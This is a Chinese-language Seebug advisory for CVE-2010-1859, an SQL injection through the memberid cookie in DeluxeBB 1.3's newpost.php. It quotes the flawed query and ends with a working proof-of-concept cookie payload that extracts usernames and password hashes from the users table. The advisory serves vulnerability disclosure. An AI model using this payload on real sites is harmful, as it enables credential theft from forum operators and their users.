Lucene search

K
seebugRootSSV:19581
HistoryMay 11, 2010 - 12:00 a.m.

DeluxeBB <= 1.3 newpost.php页面SQL注入漏洞

2010-05-1100:00:00
Root
www.seebug.org
10

EPSS

0.001

Percentile

30.9%

BUGTRAQ ID: 39962
CVE ID: CVE-2010-1859

DeluxeBB是一款基于PHP的论坛程序。

DeluxeBB的newpost.php页面没有正确地过滤用户所提交的SQL查询参数:

//inserting thread
$db->unbuffered_query("INSERT INTO ".$prefix."threads VALUES (NULL, ‘$info[fid]’, ‘".$_COOKIE[‘memberid’]."’, ‘$subject’, ‘$posticon’, ‘0’, ‘0’, ‘$lock’, ‘$pin’, ‘0’, ‘".htmlspecialchars($_COOKIE[‘membercookie’])."’, ‘$time’)");
$tid = $db->insert_id();

Cookie变量memberid直接在SQL查询中使用,如果关闭了magic_quotes_gpc的话就会导致SQL注入攻击。必须将 membercookie变量设置为Guest才可以利用这个漏洞,否则无法绕过之前的检查。

DeluxeBB <= 1.3
厂商补丁:

DeluxeBB

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.deluxebb.com/


                                                membercookie=guest
memberid=xx',(select+concat(username,0x2e,pass)+from+deluxebb_users+limit+1),'none',0,0,0,0,0,'guest','1269081154')+--+x
                              

EPSS

0.001

Percentile

30.9%